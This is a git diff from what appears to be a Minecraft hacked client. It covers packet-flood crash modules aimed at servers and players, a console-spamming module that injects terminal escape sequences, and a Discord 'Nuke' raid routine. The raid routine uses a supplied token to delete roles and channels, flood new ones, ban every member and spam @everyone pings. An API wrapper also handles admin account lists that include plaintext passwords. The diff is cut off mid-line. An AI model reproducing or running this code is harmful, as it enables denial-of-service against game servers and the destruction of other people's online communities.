net.minecraft.util.math.Direction; +import net.minecraft.util.math.Vec3d; import net.shadow.client.feature.config.DoubleSetting; import net.shadow.client.feature.config.EnumSetting; import net.shadow.client.feature.gui.notifications.Notification; @@ -19,53 +29,43 @@ import net.shadow.client.helper.event.EventType; import net.shadow.client.helper.event.Events; import net.shadow.client.helper.event.events.PacketEvent; -import java.util.Random; - -import net.minecraft.item.BlockItem; -import net.minecraft.item.ItemStack; -import net.minecraft.item.Items; -import net.minecraft.nbt.StringNbtReader; -import net.minecraft.network.Packet; -import net.minecraft.network.packet.c2s.play.*; -import net.minecraft.util.hit.BlockHitResult; -import net.minecraft.util.math.Vec3d; - import java.util.List; -import java.util.*; +import java.util.Optional; +import java.util.Random; public class ClientCrasher extends Module { boolean sends = true; - BlockPos selectedbreaker = new BlockPos(0,0,0); final EnumSetting mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get()); final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get()); + BlockPos selectedbreaker; public ClientCrasher() { super("ClientCrasher", "Crash players games", ModuleType.CRASH); Events.registerEventHandlerClass(this); } - @EventListener(type=EventType.PACKET_SEND) - void giveAShit(PacketEvent event){ - if(mode.getValue() != Mode.Place) return; - if(!sends) return; + @EventListener(type = EventType.PACKET_SEND) + void giveAShit(PacketEvent event) { + if (mode.getValue() != Mode.Place) return; + if (!this.isEnabled()) return; if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet)) - return; + return; if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full)) return; - + if (client.player.input == null) { event.setCancelled(true); return; } - + event.setCancelled(false); double x = packet.getX(0); double y = packet.getY(0); double z = packet.getZ(0); - + Packet newPacket; Random r = new Random(); if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround) @@ -73,17 +73,15 @@ public class ClientCrasher extends Module { else newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0), packet.getPitch(0), true); - - sends = false; client.player.networkHandler.getConnection().send(newPacket); sends = true; } @Override public void tick() { - switch(mode.getValue()){ + switch (mode.getValue()) { case Offhand -> { - for(int i = 0; i < power.getValue(); i++){ + for (int i = 0; i < power.getValue(); i++) { client.player.networkHandler.sendPacket(new PlayerActionC2SPacket(PlayerActionC2SPacket.Action.SWAP_ITEM_WITH_OFFHAND, client.player.getBlockPos(), Direction.UP)); } } diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java index 02b1aa0..aed21eb 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/CraftCrash.java @@ -4,10 +4,10 @@ package net.shadow.client.feature.module.impl.crash; +import net.minecraft.client.gui.screen.ingame.CraftingScreen; import net.minecraft.client.util.math.MatrixStack; -import net.minecraft.item.ItemStack; -import net.minecraft.item.Items; -import net.minecraft.nbt.NbtString; +import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket; +import net.minecraft.recipe.Recipe; import net.shadow.client.feature.gui.notifications.Notification; import net.shadow.client.feature.module.Module; import net.shadow.client.feature.module.ModuleType; @@ -16,13 +16,6 @@ import net.shadow.client.helper.event.EventType; import net.shadow.client.helper.event.Events; import net.shadow.client.helper.event.events.PacketEvent; -import java.util.Random; - -import net.minecraft.client.gui.screen.ingame.CraftingScreen; -import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket; -import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; -import net.minecraft.recipe.Recipe; - public class CraftCrash extends Module { int ticks; @@ -37,8 +30,9 @@ public class CraftCrash extends Module { Events.registerEventHandlerClass(this); } - @EventListener(type=EventType.PACKET_SEND) - public void onPacketSend(PacketEvent event){ + @EventListener(type = EventType.PACKET_SEND) + public void onPacketSend(PacketEvent event) { + if (!this.isEnabled()) return; if (event.getPacket() instanceof CraftRequestC2SPacket packet) { if (isListening) { if (stick == null) { diff --git a/src/main/java/net/shadow/client/feature/module/impl/crash/EntityCrash.java b/src/main/java/net/shadow/client/feature/module/impl/crash/EntityCrash.java index 87e6df7..c5edf2d 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/crash/EntityCrash.java +++ b/src/main/java/net/shadow/client/feature/module/impl/crash/EntityCrash.java @@ -5,18 +5,16 @@ package net.shadow.client.feature.module.impl.crash; import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.entity.Entity; +import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket; import net.shadow.client.feature.config.DoubleSetting; import net.shadow.client.feature.module.Module; import net.shadow.client.feature.module.ModuleType; -import net.minecraft.client.util.math.MatrixStack; -import net.minecraft.entity.Entity; -import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket; -import net.minecraft.world.World; public class EntityCrash extends Module { - Entity target = null; final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(2000).min(500).max(10000).name("Power").description("how fast to crash").get()); + Entity target = null; public EntityCrash() { super("EntityCrash", "Crash the server by punching entities", ModuleType.CRASH); diff --git a/src/main/java/net/shadow/client/feature/module/impl/exploit/ConsoleSpammer.java b/src/main/java/net/shadow/client/feature/module/impl/exploit/ConsoleSpammer.java index ddb1574..419f7d7 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/exploit/ConsoleSpammer.java +++ b/src/main/java/net/shadow/client/feature/module/impl/exploit/ConsoleSpammer.java @@ -4,25 +4,25 @@ package net.shadow.client.feature.module.impl.exploit; -import net.minecraft.client.util.math.MatrixStack; -import net.shadow.client.feature.module.ModuleType; -import net.shadow.client.feature.config.EnumSetting; -import net.shadow.client.feature.gui.notifications.Notification; -import net.shadow.client.feature.module.Module; -import com.mojang.brigadier.exceptions.CommandSyntaxException; - -import org.lwjgl.system.CallbackI.S; - -import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; +import net.minecraft.client.util.math.MatrixStack; import net.minecraft.item.ItemStack; import net.minecraft.item.Items; import net.minecraft.nbt.NbtCompound; -import net.shadow.client.mixin.IdentifierAccessor; import net.minecraft.nbt.NbtString; import net.minecraft.network.PacketByteBuf; -import net.minecraft.network.packet.c2s.play.*; +import net.minecraft.network.packet.c2s.play.AdvancementTabC2SPacket; +import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; +import net.minecraft.network.packet.c2s.play.CustomPayloadC2SPacket; +import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket; +import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket; +import net.minecraft.network.packet.c2s.play.UpdateSelectedSlotC2SPacket; import net.minecraft.util.Identifier; +import net.shadow.client.feature.config.EnumSetting; +import net.shadow.client.feature.gui.notifications.Notification; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.mixin.IdentifierAccessor; public class ConsoleSpammer extends Module { @@ -35,9 +35,9 @@ public class ConsoleSpammer extends Module { @Override public void tick() { - switch(mode.getValue()){ + switch (mode.getValue()) { case Book -> { - if(!client.player.getInventory().getStack(36).getItem().equals(Items.KNOWLEDGE_BOOK)){ + if (!client.player.getInventory().getStack(36).getItem().equals(Items.KNOWLEDGE_BOOK)) { ItemStack consolespammer = new ItemStack(Items.KNOWLEDGE_BOOK, 1); NbtCompound compound = new NbtCompound(); for (int i = 0; i < 25; i++) { @@ -51,16 +51,18 @@ public class ConsoleSpammer extends Module { } case Merchant -> { - for(int i = 0; i < 5; i++) client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1)); + for (int i = 0; i < 5; i++) + client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1)); } case Move -> { - for(int i = 0; i < 4; i++) client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), 9999999, client.player.getZ(), false)); + for (int i = 0; i < 4; i++) + client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), 9999999, client.player.getZ(), false)); } case BadPackets -> { Identifier sysinfo = new Identifier("minecraft:code"); - ((IdentifierAccessor) sysinfo).setPath("\033\143\033\133\061\073\063\061\155"); + ((IdentifierAccessor) sysinfo).setPath("\033c\033[1;31m"); AdvancementTabC2SPacket exploit1 = new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, sysinfo); CustomPayloadC2SPacket exploit2 = new CustomPayloadC2SPacket(sysinfo, new PacketByteBuf(Unpooled.buffer())); client.getNetworkHandler().sendPacket(exploit1); @@ -95,7 +97,7 @@ public class ConsoleSpammer extends Module { } - public enum Mode{ + public enum Mode { Book, Merchant, Move, diff --git a/src/main/java/net/shadow/client/feature/module/impl/misc/IRC.java b/src/main/java/net/shadow/client/feature/module/impl/misc/IRC.java new file mode 100644 index 0000000..65ff34b --- /dev/null +++ b/src/main/java/net/shadow/client/feature/module/impl/misc/IRC.java @@ -0,0 +1,77 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.feature.module.impl.misc; + +import net.minecraft.client.util.math.MatrixStack; +import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; +import net.shadow.client.helper.IRCWebSocket; +import net.shadow.client.helper.ShadowAPIWrapper; +import net.shadow.client.helper.event.EventListener; +import net.shadow.client.helper.event.EventType; +import net.shadow.client.helper.event.events.PacketEvent; +import net.shadow.client.helper.util.Utils; + +import java.net.URI; + +public class IRC extends Module { + static String ircPrefix = "#"; + IRCWebSocket wsS; + + public IRC() { + super("IRC", "Chat with others using the client", ModuleType.MISC); + } + + @EventListener(type = EventType.PACKET_SEND) + void onPackSent(PacketEvent pe) { + if (pe.getPacket() instanceof ChatMessageC2SPacket msg) { + String m = msg.getChatMessage(); + if (m.startsWith(ircPrefix)) { + pe.setCancelled(true); + wsS.send(m.substring(ircPrefix.length()).trim()); + } + } + } + + @Override + public void tick() { + + } + + @Override + public void enable() { + if (ShadowAPIWrapper.getAuthKey() == null) { + Utils.Logging.error("Cannot use IRC because you didn't use the launcher to launch shadow."); + setEnabled(false); + return; + } + this.wsS = new IRCWebSocket(URI.create(ShadowAPIWrapper.BASE_WS + "/irc"), ShadowAPIWrapper.getAuthKey(), () -> { + this.wsS = null; + if (this.isEnabled()) this.setEnabled(false); + }); + this.wsS.connect(); + } + + @Override + public void disable() { + if (this.wsS != null) this.wsS.close(); + } + + @Override + public String getContext() { + return null; + } + + @Override + public void onWorldRender(MatrixStack matrices) { + + } + + @Override + public void onHudRender() { + + } +} diff --git a/src/main/java/net/shadow/client/feature/module/impl/misc/ItemPuke.java b/src/main/java/net/shadow/client/feature/module/impl/misc/ItemPuke.java index af2c55d..002d9fc 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/misc/ItemPuke.java +++ b/src/main/java/net/shadow/client/feature/module/impl/misc/ItemPuke.java @@ -4,13 +4,7 @@ package net.shadow.client.feature.module.impl.misc; -import java.util.Random; - import net.minecraft.client.util.math.MatrixStack; -import net.shadow.client.feature.module.ModuleType; -import net.shadow.client.feature.config.DoubleSetting; -import net.shadow.client.feature.module.Module; -import net.minecraft.item.Item; import net.minecraft.item.ItemStack; import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket; import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket; @@ -18,6 +12,11 @@ import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket.Action; import net.minecraft.util.math.BlockPos; import net.minecraft.util.math.Direction; import net.minecraft.util.registry.Registry; +import net.shadow.client.feature.config.DoubleSetting; +import net.shadow.client.feature.module.Module; +import net.shadow.client.feature.module.ModuleType; + +import java.util.Random; public class ItemPuke extends Module { diff --git a/src/main/java/net/shadow/client/feature/module/impl/render/ToolsScreen.java b/src/main/java/net/shadow/client/feature/module/impl/render/ToolsScreen.java index 177e1f7..dea8383 100644 --- a/src/main/java/net/shadow/client/feature/module/impl/render/ToolsScreen.java +++ b/src/main/java/net/shadow/client/feature/module/impl/render/ToolsScreen.java @@ -6,8 +6,6 @@ package net.shadow.client.feature.module.impl.render; import com.mojang.brigadier.suggestion.Suggestion; import com.mojang.brigadier.suggestion.Suggestions; - -import net.minecraft.client.util.GlfwUtil; import net.minecraft.client.util.math.MatrixStack; import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket; import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket; @@ -17,7 +15,6 @@ import net.shadow.client.ShadowMain; import net.shadow.client.feature.config.BooleanSetting; import net.shadow.client.feature.config.StringSetting; import net.shadow.client.feature.gui.clickgui.element.Element; -import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor; import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor; import net.shadow.client.feature.gui.notifications.Notification; import net.shadow.client.feature.gui.panels.PanelsGui; @@ -166,55 +163,55 @@ public class ToolsScreen extends Module { }) }), new PanelFrame(500, 100, 250, 125, "Discord", new Element[]{ - new StringSettingEditor(0, 0, 240, token), - new StringSettingEditor(0, 30, 240, guild), - new PanelButton(0, 65, -1, "Nuke", () -> { - new Thread(() -> { - final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue()); - try{ - long guildId = Long.valueOf(guild.getValue()); - DiscordClient client = new DiscordClient(token.getValue(), true); - for(long role : client.getRoles(guildId)){ - pool.execute(() -> client.deleteRole(guildId, role)); - Utils.sleep(50); - } - Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles"); - for(int i = 0; i < 250; i++){ - pool.execute(() -> client.createRole(guildId, "moles")); - Utils.sleep(50); - } - Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles"); - for(long channel : client.getChannels(guildId)){ - pool.execute(() -> client.deleteChannel(channel)); - Utils.sleep(50); - } - Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels"); - for(int i = 0; i < 500; i++){ - pool.execute(() -> client.createChannel(guildId, 0, "molesontop")); - Utils.sleep(50); - } - Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels"); - for(long member : client.getMembers(guildId)){ - pool.execute(() -> client.banMember(guildId, member)); - Utils.sleep(50); - } - Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members"); - Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings"); - for(int i = 0; i < 5; i++){ - for(long channel : client.getChannels(guildId)){ - pool.execute(() -> { - client.sendMessage(channel, "@everyone raided by discord.gg/moles", true); - }); + new StringSettingEditor(0, 0, 240, token), + new StringSettingEditor(0, 30, 240, guild), + new PanelButton(0, 65, -1, "Nuke", () -> { + new Thread(() -> { + final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue()); + try { + long guildId = Long.valueOf(guild.getValue()); + DiscordClient client = new DiscordClient(token.getValue(), true); + for (long role : client.getRoles(guildId)) { + pool.execute(() -> client.deleteRole(guildId, role)); Utils.sleep(50); } + Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles"); + for (int i = 0; i < 250; i++) { + pool.execute(() -> client.createRole(guildId, "moles")); + Utils.sleep(50); + } + Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles"); + for (long channel : client.getChannels(guildId)) { + pool.execute(() -> client.deleteChannel(channel)); + Utils.sleep(50); + } + Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels"); + for (int i = 0; i < 500; i++) { + pool.execute(() -> client.createChannel(guildId, 0, "molesontop")); + Utils.sleep(50); + } + Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels"); + for (long member : client.getMembers(guildId)) { + pool.execute(() -> client.banMember(guildId, member)); + Utils.sleep(50); + } + Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members"); + Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings"); + for (int i = 0; i < 5; i++) { + for (long channel : client.getChannels(guildId)) { + pool.execute(() -> { + client.sendMessage(channel, "@everyone raided by discord.gg/moles", true); + }); + Utils.sleep(50); + } + } + } catch (Exception e) { + e.printStackTrace(); } - }catch(Exception e){ - e.printStackTrace(); - } - }).start(); - }), - }) - }); + }).start(); + }), + }) + }); } ShadowMain.client.setScreen(menu); this.setEnabled(false); diff --git a/src/main/java/net/shadow/client/helper/ConfigContainer.java b/src/main/java/net/shadow/client/helper/ConfigContainer.java index c31459b..a2af521 100644 --- a/src/main/java/net/shadow/client/helper/ConfigContainer.java +++ b/src/main/java/net/shadow/client/helper/ConfigContainer.java @@ -10,11 +10,10 @@ import com.google.gson.JsonParser; import lombok.Getter; import net.shadow.client.helper.event.EventType; import net.shadow.client.helper.event.Events; +import org.apache.commons.io.FileUtils; import java.io.File; import java.nio.charset.StandardCharsets; -import java.nio.file.Files; -import java.nio.file.StandardOpenOption; @SuppressWarnings("unused") public class ConfigContainer { @@ -23,6 +22,7 @@ public class ConfigContainer { final String key; @Getter JsonObject value; + boolean loaded = false; public ConfigContainer(File f, String key) { this.path = f; @@ -33,6 +33,7 @@ public class ConfigContainer { } public T get(Class type) { + if (!loaded) return null; return gson.fromJson(getValue(), type); } @@ -45,8 +46,9 @@ public class ConfigContainer { } void write(String data) { + System.out.println("writing " + data); try { - Files.writeString(path.toPath(), data, StandardOpenOption.CREATE); + FileUtils.write(path, data, StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); } @@ -57,8 +59,9 @@ public class ConfigContainer { return; } try { - String p = Files.readString(path.toPath(), StandardCharsets.UTF_8); + String p = FileUtils.readFileToString(path, StandardCharsets.UTF_8); set(JsonParser.parseString(p).getAsJsonObject()); + loaded = true; } catch (Exception e) { e.printStackTrace(); } diff --git a/src/main/java/net/shadow/client/helper/IRCWebSocket.java b/src/main/java/net/shadow/client/helper/IRCWebSocket.java new file mode 100644 index 0000000..fbaa6f8 --- /dev/null +++ b/src/main/java/net/shadow/client/helper/IRCWebSocket.java @@ -0,0 +1,86 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.helper; + +import com.google.gson.Gson; +import lombok.AllArgsConstructor; +import net.minecraft.text.Text; +import net.minecraft.util.Formatting; +import net.shadow.client.ShadowMain; +import net.shadow.client.helper.util.Utils; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.handshake.ServerHandshake; + +import java.net.URI; +import java.util.Map; + +public class IRCWebSocket extends WebSocketClient { + String authToken; + Runnable onClose; + public IRCWebSocket(URI serverUri, String authToken, Runnable onClose) { + super(serverUri, Map.of("Authorization", authToken)); + this.authToken = authToken; + this.onClose = onClose; + } + + @Override + public void onOpen(ServerHandshake handshakedata) { + Utils.Logging.success("Connected to IRC"); + } + + @Override + public void onMessage(String message) { + Packet p = new Gson().fromJson(message, Packet.class); + switch (p.id) { + case "message" -> { + String uname = p.data.get("who").toString(); + String msg = p.data.get("message").toString(); + ShadowMain.client.player.sendMessage(Text.of(String.format("%s[IRC] %s[%s] %s", Formatting.AQUA, Formatting.BLUE, uname, msg)), false); + } + case "userJoined" -> { + String uname = p.data.get("who").toString(); + ShadowMain.client.player.sendMessage(Text.of(String.format("%s[IRC] %s%s joined the IRC", Formatting.AQUA, Formatting.GREEN, uname)), false); + } + case "userLeft" -> { + String uname = p.data.get("who").toString(); + ShadowMain.client.player.sendMessage(Text.of(String.format("%s[IRC] %s%s left the IRC", Formatting.AQUA, Formatting.RED, uname)), false); + } + case "connectFailed" -> { + String reason = p.data.get("reason").toString(); + Utils.Logging.error("Failed to establish connection, server said: " + reason); + } + } + } + + @Override + public void onClose(int code, String reason, boolean remote) { + Utils.Logging.error("IRC Disconnected"); + this.onClose.run(); + } + + @Override + public void onError(Exception ex) { + ex.printStackTrace(); + } + + @AllArgsConstructor + public static + class Packet { + public String id; + public Map data; + + public String toRawPacket() { + return new Gson().toJson(this); + } + + @Override + public String toString() { + return "Packet{" + + "id='" + id + '\'' + + ", data=" + data + + '}'; + } + } +} diff --git a/src/main/java/net/shadow/client/helper/ShadowAPIWrapper.java b/src/main/java/net/shadow/client/helper/ShadowAPIWrapper.java new file mode 100644 index 0000000..7662857 --- /dev/null +++ b/src/main/java/net/shadow/client/helper/ShadowAPIWrapper.java @@ -0,0 +1,122 @@ +/* + * Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved. + */ + +package net.shadow.client.helper; + +import com.google.gson.Gson; +import net.minecraft.item.ItemStack; +import net.minecraft.util.registry.Registry; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; +import java.util.Map; + +public class ShadowAPIWrapper { + public static final String BASE_DOMAIN = "api.shadowclient.cf"; + public static final String BASE_URL = "https://" + BASE_DOMAIN; + public static final String BASE_WS = "wss://" + BASE_DOMAIN; + static String authKey = ""; + static HttpClient client = HttpClient.newBuilder().followRedirects(HttpClient.Redirect.ALWAYS).build(); + static Gson gson = new Gson(); + static boolean currentUserIsAdmin = false; + + public static String getAuthKey() { + if (authKey.isEmpty()) return null; + return authKey; + } + + public static boolean isCurrentUserAdmin() { + return currentUserIsAdmin; + } + + static HttpResponse get(String path) { + return request(path, "GET", HttpRequest.BodyPublishers.noBody()); + } + + static HttpResponse request(String path, String method, HttpRequest.BodyPublisher publisher) { + URI u = URI.create(BASE_URL + path); + HttpRequest request = HttpRequest.newBuilder().method(method, publisher).uri(u).header("Authorization", authKey).build(); + try { + return client.send(request, HttpResponse.BodyHandlers.ofString()); + } catch (Exception e) { + e.printStackTrace(); + return null; + } + } + + static HttpResponse post(String path, String data) { + return request(path, "POST", HttpRequest.BodyPublishers.ofString(data)); + } + + public static void logout() { + authKey = ""; + } + + public static boolean loginWithKey(String session) { + String prevAuthKey = authKey; + authKey = session; + HttpResponse resp = get("/users/current"); + if (resp.statusCode() != 200) { + authKey = prevAuthKey; + return false; + } + Map info = gson.fromJson(resp.body(), Map.class); + currentUserIsAdmin = (boolean) info.getOrDefault("isAdmin", false); + return true; + } + + public static boolean attemptLogin(String username, String password) { + String d = gson.toJson(Map.of( + "username", username, + "password", password + )); + HttpResponse uResp = post("/users/apiKeyForCreds", d); + if (uResp == null) return false; + System.out.println(uResp.body() + ": " + d); + if (uResp.statusCode() != 200) return false; + return loginWithKey(uResp.body()); + } + + public static List getAccounts() { + HttpResponse a = get("/users/admin/list"); + if (a.statusCode() != 200) return List.of(); + return new ArrayList<>(List.of(new Gson().fromJson(a.body(), AccountEntry[].class))); + } + + public static boolean deleteAccount(String user, String pass) { + HttpResponse s = request("/users/admin/delete", "DELETE", HttpRequest.BodyPublishers.ofString(new Gson().toJson( + Map.of("username", user, "password", pass) + ))); + return s != null && s.statusCode() == 200; + } + + public static boolean putItem(ItemStack stack) { + HttpResponse a = request("/items", "PUT", HttpRequest.BodyPublishers.ofString(gson.toJson(Map.of( + "itemName", Registry.ITEM.getId(stack.getItem()).getPath(), + "itemNbt", new String(Base64.getEncoder().encode(stack.getOrCreateNbt().toString().getBytes(StandardCharsets.UTF_8))) + )))); + if (a == null) return false; + System.out.println(a.body()); + return a.statusCode() == 200; + } + + public static class AccountEntry { + public String username, password, apiKey; + + @Override + public String toString() { + return "AccountEntry{" + + "username='" + username + '\'' + + ", password='" + password + '\'' + + ", apiKey='" + apiKey + '\'' + + '}'; + } + } +} diff --git a/src/main/java/net/shadow/client/helper/discord/DiscordClient.java b/src/main/java/net/shadow/client/helper/discord/DiscordClient.java index bc145bf..fab194d 100644 --- a/src/main/java/net/shadow/client/helper/discord/DiscordClient.java +++ b/src/main/java/net/shadow/client/helper/discord/DiscordClient.java @@ -1,108 +1,107 @@ package net.shadow.client.helper.discord; -import java.io.IOException; -import java.net.http.HttpResponse; - import com.google.gson.JsonArray; import com.google.gson.JsonElement; import com.google.gson.JsonParser; - import net.shadow.client.helper.http.HttpWrapper; +import java.io.IOException; +import java.net.http.HttpResponse; + public class DiscordClient { - String token = ""; + String token; HttpWrapper requests = new HttpWrapper(); - public DiscordClient(String token, boolean isBot){ - if(isBot){ + public DiscordClient(String token, boolean isBot) { + if (isBot) { this.token = "Bot " + token; - }else{ + } else { this.token = token; } } - public long[] getGuilds() throws IOException, InterruptedException{ - try{ + public long[] getGuilds() { + try { HttpResponse resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token); - JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); + JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray(); long[] guildr = new long[guilds.size()]; int iter = 0; - for(JsonElement guild : guilds){ - guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString()); + for (JsonElement guild : guilds) { + guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString()); iter++; } return guildr; - }catch(Exception e){ + } catch (Exception e) { return new long[0]; } } - public long[] getChannels(long guildId) throws IOException, InterruptedException{ - try{ - HttpResponse resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token); - JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); + public long[] getChannels(long guildId) { + try { + HttpResponse resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/channels", "Authorization:" + token); + JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray(); long[] guildr = new long[guilds.size()]; int iter = 0; - for(JsonElement guild : guilds){ - guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString()); + for (JsonElement guild : guilds) { + guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString()); iter++; } return guildr; - }catch(Exception e){ + } catch (Exception e) { return new long[0]; } } - public long[] getDmChannels() throws IOException, InterruptedException{ - try{ + public long[] getDmChannels() { + try { HttpResponse resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token); - JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); + JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray(); long[] guildr = new long[guilds.size()]; int iter = 0; - for(JsonElement guild : guilds){ - guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString()); + for (JsonElement guild : guilds) { + guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString()); iter++; } return guildr; - }catch(Exception e){ + } catch (Exception e) { return new long[0]; } } - public long[] getRoles(long guildId) throws IOException, InterruptedException{ - try{ + public long[] getRoles(long guildId) { + try { HttpResponse resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token); - JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); + JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray(); long[] guildr = new long[guilds.size()]; int iter = 0; - for(JsonElement guild : guilds){ - guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString()); + for (JsonElement guild : guilds) { + guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString()); iter++; } return guildr; - }catch(Exception e){ + } catch (Exception e) { return new long[0]; } } - public long[] getMembers(long guildId) throws IOException, InterruptedException{ - try{ + public long[] getMembers(long guildId) { + try { HttpResponse resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token); - JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray(); + JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray(); long[] guildr = new long[guilds.size()]; int iter = 0; - for(JsonElement guild : guilds){ - guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString()); + for (JsonElement guild : guilds) { + guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString()); iter++; } return guildr; - }catch(Exception e){ + } catch (Exception e) { return new long[0]; } } - public long deleteChannel(long channelId){ + public long deleteChannel(long channelId) { HttpResponse req; try { req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token); @@ -114,10 +113,10 @@ public class DiscordClient { return -1; } - public long createChannel(long guildId, long type, String name){ + public long createChannel(long guildId, long type, String name) { HttpResponse req; try { - req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token); + req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\"" + name + "\", \"permission_overwrites\":[], \"type\":\"" + type + "\"}", "Authorization:" + token); return req.statusCode(); } catch (IOException | InterruptedException e) { // TODO Auto-generated catch block @@ -126,10 +125,10 @@ public class DiscordClient { return -1; } - public long sendMessage(long channelid, String content, boolean tts){ + public long sendMessage(long channelid, String content, boolean tts) { HttpResponse req; try { - req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\""+content+"\", \"tts\":"+tts+"}", "Authorization:" + token); + req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\"" + content + "\", \"tts\":" + tts + "}", "Authorization:" + token); return req.statusCode(); } catch (IOException | InterruptedException e) { // TODO Auto-generated catch block @@ -138,10 +137,10 @@ public class DiscordClient { return -1; } - public long banMember(long guildId, long userId){ + public long banMember(long guildId, long userId) { HttpResponse req; try { - req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{\"delete_message_days\":0}", "Authorization:" + token); + req = 